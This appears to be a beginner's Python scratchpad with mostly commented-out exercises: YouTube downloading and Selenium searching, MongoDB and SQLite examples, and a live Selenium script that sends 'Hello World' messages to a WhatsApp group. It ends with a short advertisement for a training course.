# pyautogui.hotkey('ctrl', 's')
# time.sleep(1)
# pyautogui.write(os.path.join(os.path.expanduser("~"), "Downloads", filename))
# pyautogui.press('enter')
# time.sleep(1)

# print(f"Successfully created file {filename} in the Downloads folder")

# # -------------------------------------------------------------------------

# from pytube import YouTube

# video_url = input("Enter the YouTube video URL: ")

# YouTube(
#     'https://www.youtube.com/watch?v=qEVUtrk8_B4').streams.first().download()

# # yt = YouTube(video_url)
# # stream = yt.streams

# # stream.download()

# # print(f"Successfully downloaded video {yt.title} to the current directory")

# -------------------------------------------------------------------------

# from selenium import webdriver
# from selenium.webdriver.common.keys import Keys
# from selenium.webdriver.common.by import By
# from time import sleep

# browser = webdriver.Chrome("chromedriver.exe")
# browser.maximize_window()

# browser.get("https://www.youtube.com/")
# sleep(3)
# search_box = browser.find_element(
#     By.XPATH,
#     "/html/body/ytd-app/div[1]/div/ytd-masthead/div[4]/div[2]/ytd-searchbox/form/div[1]/div[1]/input"
# )
# search_box.click()
# search_box.send_keys("john wick 4 trailer", Keys.ENTER)
# sleep(3)

# # video = browser.find_element(
# #     By.XPATH,
# #     '/html/body/ytd-app/div[1]/ytd-page-manager/ytd-search/div[1]/ytd-two-column-search-results-renderer/div/ytd-section-list-renderer/div[2]/ytd-item-section-renderer/div[3]/ytd-video-renderer[1]/div[1]/div/div[1]/div/h3/a/yt-formatted-string'
# # )
# # video.click()

# video = browser.find_element(By.PARTIAL_LINK_TEXT,
#                              "John Wick 4 New Trailer | Hindi")
# sleep(1)
# video.click()

# sleep(10)
# browser.close()

# -------------------------------------------------------------------------

from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By
from time import sleep

browser = webdriver.Chrome("chromedriver.exe")
browser.maximize_window()

browser.get("https://web.whatsapp.com/")
sleep(30)

search_box = browser.find_element(
    By.XPATH,
    "/html/body/div[1]/div/div/div[3]/div/div[1]/div/div/div[2]/div/div[1]/p")
search_box.click()
sleep(1)
search_box.send_keys("Python Sunday RS 11/12/22", Keys.ENTER)

sleep(2)

message_box = browser.find_element(
    By.XPATH,
    "/html/body/div[1]/div/div/div[4]/div/footer/div[1]/div/span[2]/div/div[2]/div[1]/div/div[1]/p"
)
message_box.click()
# sleep(1)

message_box.send_keys("Hello World", Keys.ENTER)

sleep(2)

for num in range(10):
    message_box = browser.find_element(
        By.XPATH,
        "/html/body/div[1]/div/div/div[4]/div/footer/div[1]/div/span[2]/div/div[2]/div[1]/div/div[1]"
    )
    message_box.click()
    message_box.send_keys("Hello World", Keys.ENTER)
    sleep(1)

sleep(30)
browser.close()

Scratchpad #12

# # import pymongo

# # client = pymongo.MongoClient()
# # mydb = client["mydb"]
# # users = mydb["users"]

# # # user1 = {"name": "John Doe", "email": "john.doe@hey.com", "age": 30}
# # # user2 = {"name": "Jane Doe", "email": "jane.doe@hey.com", "age": 22}
# # # users_list = [{
# # #     "name": "Jack Ma",
# # #     "email": "jack.ma@alibaba.com",
# # #     "age": 43
# # # }, {
# # #     "name": "Richard Roe",
# # #     "email": "richard.roe@alibaba.com",
# # #     "age": 21
# # # }]

# # # users.insert_one(user2)
# # # users.insert_many(users_list)

# # from pprint import pprint

# # results = users.find({}).sort("age", pymongo.ASCENDING).limit(2)

# # pprint(list(results))

# # import pymongo

# # client = pymongo.MongoClient()
# # my_bank = client["my_bank"]
# # banks = my_bank["banks"]
# # customers = my_bank["customers"]

# # class Bank:

# #     def __init__(self, name, initials, address, phone):
# #         self.name = name
# #         self.initials = initials
# #         self.address = address
# #         self.phone = phone
# #         self._customers = []

# #         banks.insert_one({
# #             "name": name,
# #             "address": address,
# #             "initials": initials,
# #             "phone": phone
# #         })

# #     def __repr__(self):
# #         return self.name

# #     def create_customer(self, name, age, email, account_no):
# #         new_customer = Customer(name, age, email, account_no, self.name)
# #         self._customers.append(new_customer)
# #         customers.insert_one(new_customer.__dict__)
# #         print(f"Customer with name {name} was successfully created.")
# #         return new_customer

# # class Customer:

# #     def __init__(self, name, age, email, account_no, bank_name):
# #         self.name = name
# #         self.age = age
# #         self.email = email
# #         self._account_no = account_no
# #         self.balance = 0
# #         self.bank = bank_name

# #     def repr(self):
# #         return self.name

# # sbi = Bank("State Bank Of India", "SBI", "Some Address...", "+91 022 23456789")
# # sbi.create_customer("John Doe", 30, "johndoe@hey.com", "0A23JMNJ3412")

# import sqlite3

# conn = sqlite3.connect("mydb.db")
# cursor = conn.cursor()

# # cursor.execute("""
# #     CREATE TABLE users (
# #         id INTEGER PRIMARY KEY,
# #         name TEXT,
# #         email TEXT,
# #         age INTEGER
# #     );
# # """)

# # user = ("John Doe", "johndoe@hey.com", 30)

# # cursor.execute(f"INSERT INTO users (name, email, age) VALUES (?, ?, ?)", user)
# # conn.commit()

# # cursor.execute("SELECT * FROM users;")
# # all_users = cursor.fetchone()

# # print(all_users)
# # # for user in all_users:
# # #     print(user)

# cursor.execute("UPDATE users SET email = ? WHERE name = ?",
#                ("newemail@example.com", "John Doe"))

# conn.commit()
Learn this on the racks

Reading it is one thing. Configuring it is another.

Our batches run labs like this one end to end on real kit, in the Mumbai classroom or live online, taught by practicing engineers.